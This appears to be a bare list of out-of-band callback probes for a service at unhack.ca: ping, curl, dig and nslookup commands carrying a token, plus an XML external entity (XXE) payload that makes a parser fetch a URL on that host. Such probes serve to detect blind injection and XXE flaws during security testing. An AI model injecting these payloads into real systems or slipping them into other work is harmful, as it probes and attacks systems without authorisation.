$ ping -c1 -p 008e8eab8a60ef67a47a4189cda07600 unhack.ca
 

$ curl http://unhack.ca/p/8e8eab8a60ef67a47a4189cda076
 

$ dig 8e8eab8a60ef67a47a4189cda076 @unhack.ca
 

$ dig 8e8eab8a60ef67a47a4189cda076.ns.unhack.ca
 

C:\> nslookup 8e8eab8a60ef67a47a4189cda076 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/8e8eab8a60ef67a47a4189cda076">]>
    <foo>&xxe;</foo>